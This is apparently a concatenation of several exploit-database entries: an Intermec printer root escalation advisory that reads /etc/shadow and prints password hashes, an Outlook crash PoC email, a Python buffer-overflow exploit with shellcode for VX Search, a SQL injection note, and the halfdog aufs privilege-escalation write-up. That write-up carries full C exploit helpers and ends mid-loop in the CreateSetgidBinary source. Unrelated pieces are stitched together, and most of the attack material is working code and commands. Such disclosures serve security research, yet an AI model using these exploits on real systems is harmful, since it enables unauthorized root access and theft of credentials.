https://github.com/kmkz/exploit/blob/master/CVE-2017-5671-Credits.pdf
# Additional ressource:
https://akerva.com/blog/intermec-industrial-printers-local-root-with-busybox-jailbreak/
# Affected products:
PM23, PM42, PM43, PC23, PC43, PD43 and PC42 printers with versions prior to March 2017
# Fixes:
Download the new firmware version by using the link below:
http://epsfiles.intermec.com/eps_files/eps_download/Firmware_P10.11.013310.zip
# Release note:
http://apps.intermec.com/downloads/eps_download/Firmware%20Release%20Notes%20x10_11_013310.pdf
Intermec (Honeywell) Industrial RFID Printers Local root privilege escalation with Busybox jailbreak
I. PRODUCT
PM43/PM43c mid-range industrial RFID printers are ideal for a wide range of applications within the distribution center / warehouse and manufacturing environments.
II. ADVISORY
Using a bad file permission, it is possible to gain full root privilege on a PM43 industrial printer as well as from the admin account than it-admin which are the two default users on the machine.
It also permits to gain full privilege resulting on a Busybox jailbreak due to the root access on the system.
The impact of this exploitation is quite critical due to the sensitive information that are available and impact the recent firmware version release (before March 12th 2017).
III. VULNERABILITY DESCRIPTION
The Lua binary rights are too permissive and this one is SUID which conduct to perform this privilege escalation using a basic trick as describe in the next section.
The default it-admin and/or admin credentials are available in the vendor's documentation and should be modified too.
IV. PROOF OF CONCEPT
Following steps can reproduce the privilege escalation once the attacker gain a Busybox shell on the system:
itadmin@PM43-XXXXXXXXXXX /tmp$ find / -perm -g=s -type f 2>/dev/null
/bin/busybox
/usr/bin/cfg
/usr/bin/lua <----- Lua binary with SUID perm.
/usr/bin/httpd_restore
/usr/bin/ikev2
/usr/bin/pwauth
/usr/bin/functest
/usr/bin/imecutil
/usr/bin/httpd_fwupgrade
/usr/sbin/setkey
We then try to execute a shell command using Lua but it seems that this one is executed with non-root privileges through the Busybox shell:
itadmin@PM43-XXXXXXXXXXX /tmp$ /usr/bin/lua
Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio
> os.execute("id")
uid=1(itadmin) gid=1(itadmin) groups=1(itadmin),2(admin),3(user)
So we identify that it is possible to read/write files with root privilege on the file system without any restrictions (we will be able to modify the shadow file in order to log in as root later):
// in the Lua interpreter:
> f=io.open("/etc/shadow","rb")
> print(f)
file (0x17af0)
> c=f:read "*a"
> print(c)
root:!$1$XPCuiq25$IvWw/kKeomOyQIee8XfTb1:11851:0:99999:7:::
admin:$1$Ma/qTlIw$PPPTgRVCnkqcDQxjMBtsC0:11851:0:99999:7:::
itadmin:$1$kcHXJUjT$OIgLfTDgaEAlTbHRZFPsj.:11851:0:99999:7:::
user::11851:0:99999:7:::
ftp:*:11851:0:99999:7:::
nobody:*:11851:0:99999:7:::
lighttpd:x:1000:1000:Linux User,,,:/home/lighttpd:/bin/sh
We conclude this "proof of concept" by writing a file on the filesystem which demonstrate the possibilities that we now have using this kind of code:
fp = io.popen("akerva", "w")
fp:write(anything)
fp:close()
That gave us the following output:
itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva
AKERVA r00t
itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva
4 -rw-rw-r-- 1 root root 12 Jan 25 07:12 akerva
As explained in the above text, we then over-writed the "etc/shadow" file and we validated that it is possible to gain full root access on the filesystem even if Busybox 1.15.0 (2009 release) were present, bypassing
its shell restrictions (jailbreaking it).
V. RECOMMENDATIONS
AKERVA's Pentesters recommended to fix it by modifying the Lua binary rights (is the SUID bit necessary?) which was done in the patched firmware.
A security fix is now available in order to mitigate this issue as shown at the beginning of this advisory.
VI. VERSIONS AFFECTED
This issue affects the firmware version 10.10.011406 but after reading the latest release notes it also seems to impact all versions that were released before the updated firmware.
VII. TIMELINE
January 19th, 2017: Vulnerability identification
January 27th, 2017: First contact with the editor (Honeywell)
January 31th, 2017: Advisory submission to Honeywell security team and CVE id request
February 1st, 2017: CVE id attributed by MITRE even if the vendor is not normally considered a priority for CVE by MITRE
February 6th, 2017: Vendor confirm the vulnerability
February 16th, 2017: Vendor inform that the fix is ready (They also proposed me to test it prior to release)
March 12th, 2017: New firmware version available
March 28th, 2017: Public advisory released
VIII. LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
Source: https://justhaifei1.blogspot.ca/2017/03/an-interesting-outlook-bug.html
When you send this email to someone, when he/she *just read* the email, Outlook will crash. MSRC told me that they think it's a non-exploitable bug and it seems that they are not going to fix it in near future, I'm releasing the details in this quick write-up, and hopefully, for an "old pedant" style open discussion about the exploitability as I still have some doubts.:-)
The PoC could be as simple as the following, or you may download the .eml file below.
Content-Type: multipart/alternative; boundary="===============111111111111==
MIME-Version: 1.0
Subject: title
From: aa@msft.com
To: bb@msft.com
--===============111111111111==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
plain text area
--===============111111111111==
Content-Type: text/html; charset="us-ascii"
MIME-Version: 1.0
<html>
<head>
<style>body{display:none !important;}</style>
</head>
<body>
<div>
e
</div>
<div>
<table>
<tr height="1%">
</tr>
</table>
</div>
<div>
e
</div>
</body>
</html>
--===============111111111111==--
If you do some tests based on the PoC you will quickly figure out that the CSS code "<style>body{display:none !important;}</style>" is something important here. For example, if we remove this line, Outlook won't crash. This also suggests that the bug is related to some "CSS rendering" code in Outlook.
The Crash
The following crash should be observed on Office 2010 14.0.7177.5000, full updated as of March 21, 2017. In fact, I believe it affects all Outlook versions.
(384.400): Access violation - code c0000005 (!!! second chance !!!)
eax=0020f580 ebx=0ea72288 ecx=00000000 edx=00000000 esi=191cdfd0 edi=5d064400
eip=5c5e17e5 esp=0020f56c ebp=0020f754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetLCID+0x25b35f:
5c5e17e5 f781e402000000040000 test dword ptr [ecx+2E4h],400h ds:0023:000002e4=????????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0020f754 5c5a2b93 wwlib!DllGetLCID+0x25b35f
0020f774 5c1d80de wwlib!DllGetLCID+0x21c70d
0020f794 5c1d801b wwlib!GetAllocCounters+0x51906
0020f818 5c1d5c33 wwlib!GetAllocCounters+0x51843
0020f82c 5c26d803 wwlib!GetAllocCounters+0x4f45b
0020f83c 2f63f1b6 wwlib!GetAllocCounters+0xe702b
0020f880 2f63f06b outlook!GetMsoInst+0x32e2
0020f8a8 2ffb9d6b outlook!GetMsoInst+0x3197
0020f938 76b0ef1c outlook!PushSavedKeyToCicero+0x291d8
0020f944 7733367a kernel32!BaseThreadInitThunk+0xe
0020f984 7733364d ntdll!__RtlUserThreadStart+0x70
0020f99c 00000000 ntdll!_RtlUserThreadStart+0x1b
It crashes at the following address:
.text:31B417D2 loc_31B417D2: ; CODE XREF: sub_31714D18+42CB1Ej
.text:31B417D2 lea eax, [ebp+var_1DC]
.text:31B417D8 push eax
.text:31B417D9 push [ebp+var_4]
.text:31B417DC push ebx
.text:31B417DD call sub_3177CE19 ;memory data at eax will be updated
.text:31B417E2 mov ecx, [eax+48h] ;read the pointer at offset 0x48
.text:31B417E5 test dword ptr [ecx+2E4h], 400h ;crash
Since the data pointed by EAX (@31B417E2) will be updated in function "sub_3177CE19", I did some debugging in that function, and it seems that:
There seems to be a custom heap allocator, as I've seen heap block headers, and links.
The "sub_3177CE19" does the job locating the data based on the 1st param (a pointer) and 2nd param (always be 0), and the data will be copied to the heap block pointed by the 3nd param.
According to my tests, the copied bytes are always 0x00, so that's why it seems to be a null pointer dereference bug.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41756.zip
author = '''
##############################################
# Created: ScrR1pTK1dd13 #
# Name: Greg Priest #
# Mail: ScR1pTK1dd13.slammer@gmail.com #
##############################################
# Exploit Title: VX Search Enterprise v9.5.12 email verify exploit
# Date: 2017.03.28
# Exploit Author: Greg Priest
# Version: VX Search Enterprise v9.5.12
# Tested on: Windows7 x64 HUN/ENG Professional
'''
import socket
port = 25
s = socket.socket()
ip = '127.0.0.1'
s.bind((ip, port))
s.listen(5)
overflow = "A" * 256
eip = "\x7A\xB7\x1B\x65"
# Search NO ASLR with mona.py
#"\x94\x21\x1C\x65" NO ASLR QtGui4.dll
#"\x7A\xB7\x1B\x65" NO ASLR QtGui4.dll
#"\x09\xc9\x1D\x65" NO ASLR QtGui4.dll
nop = "\x90" * 12
#calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")
exploit = overflow+eip+nop+shellcode
print "Listening on port:", port
while True:
conn, addr = s.accept()
conn.send(exploit+'\r\n')
conn.close()
print ""
print "Succesfully exploitation!"
# # # # #
# Exploit Title: Opensource Classified Ads Script - SQL Injection
# Google Dork: N/A
# Date: 29.03.2017
# Vendor Homepage: http://www.2daybiz.com/
# Software: http://www.professionalclassifiedscript.com/downloads/opensource-classified-ads-script-2/
# Demo: http://198.38.86.159/~classic/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/advance_result.php?keyword=[SQL]&adv_search
# class_2daydiscount :d_hotlisting
# class_admin :adm_id
# class_admin :adm_username
# class_admin :adm_password
# class_admin :adm_lastvisit
# class_category :c_id
# # # # #
Source: http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/
## Introduction
Problem description: Aufs is a union filesystem to mix content of different underlying filesystems, e.g. read-only medium with r/w RAM-fs. That is also allowed in user namespaces when module was loaded with allow_userns option. Due to different bugs, aufs in a crafted USERNS allows privilege escalation, which is a problem on systems enabling unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues mentioned here were discovered after performing similar analysis on overlayfs, another USERNS enabled union filesystem.
For a system to be exposed, unprivileged USERNS has to be available and AUFS support enabled for it by loading the aufs module with the appropriate option: modprobe aufs allow_userns.
## AUFS Over Fuse: Loss of Nosuid
Method: Fuse filesystem can be mounted by unprivileged users with the help of the fusermount SUID program. Fuse then can simulate files of any type, mode, UID but they are only visible to the user mounting the filesystem and lose all SUID properties. Those files can be exposed using aufs including the problematic SUID properties. The basic exploitation sequence is:
- Mount fuse filesystem exposing crafted SUID binary
- Create USERNS
- Mount aufs on top of fuse
- Execute the SUID binary via aufs from outside the namespace
The issue can then be demonstrated using:
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test$ mkdir fuse mnt work
test$ mv SuidExec RealFile
test$ ./FuseMinimal fuse
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=work:fuse none mnt
root$ cd mnt
# Now cwd of the former process is within the aufs mount. Use
# another shell to complete.
test$ /proc/2390/cwd/file /bin/bash
root$ id
uid=0(root) gid=100(users) groups=100(users)
# Go back to old shell for cleanup.
root$ cd ..; umount mnt; exit
test$ fusermount -u fuse
Discussion: In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default.
In my optionion the workarounds should be to restrict access to fuse also only to the mount namespace where it was created.
## AUFS Xattr Setgid Privilege Escalation
Method: Due to inheritance of Posix ACL information (xattrs) when aufs is copying files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit.
test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ mkdir mnt test
test$ setfacl -m "d:u:$(id -u):rwx" test
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=test:/var none mnt
root$ chmod 07777 mnt/mail
root$ umount mnt; exit
test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg
test$ test/mail/escalate ./SuidExec /usr/bin/id
uid=1000(test) gid=8(mail) groups=8(mail),100(users)
On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed.
According to this post (http://www.openwall.com/lists/oss-security/2016/01/16/7), directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial.
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
* License: https://www.gnu.org/licenses/lgpl-3.0.en.html
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
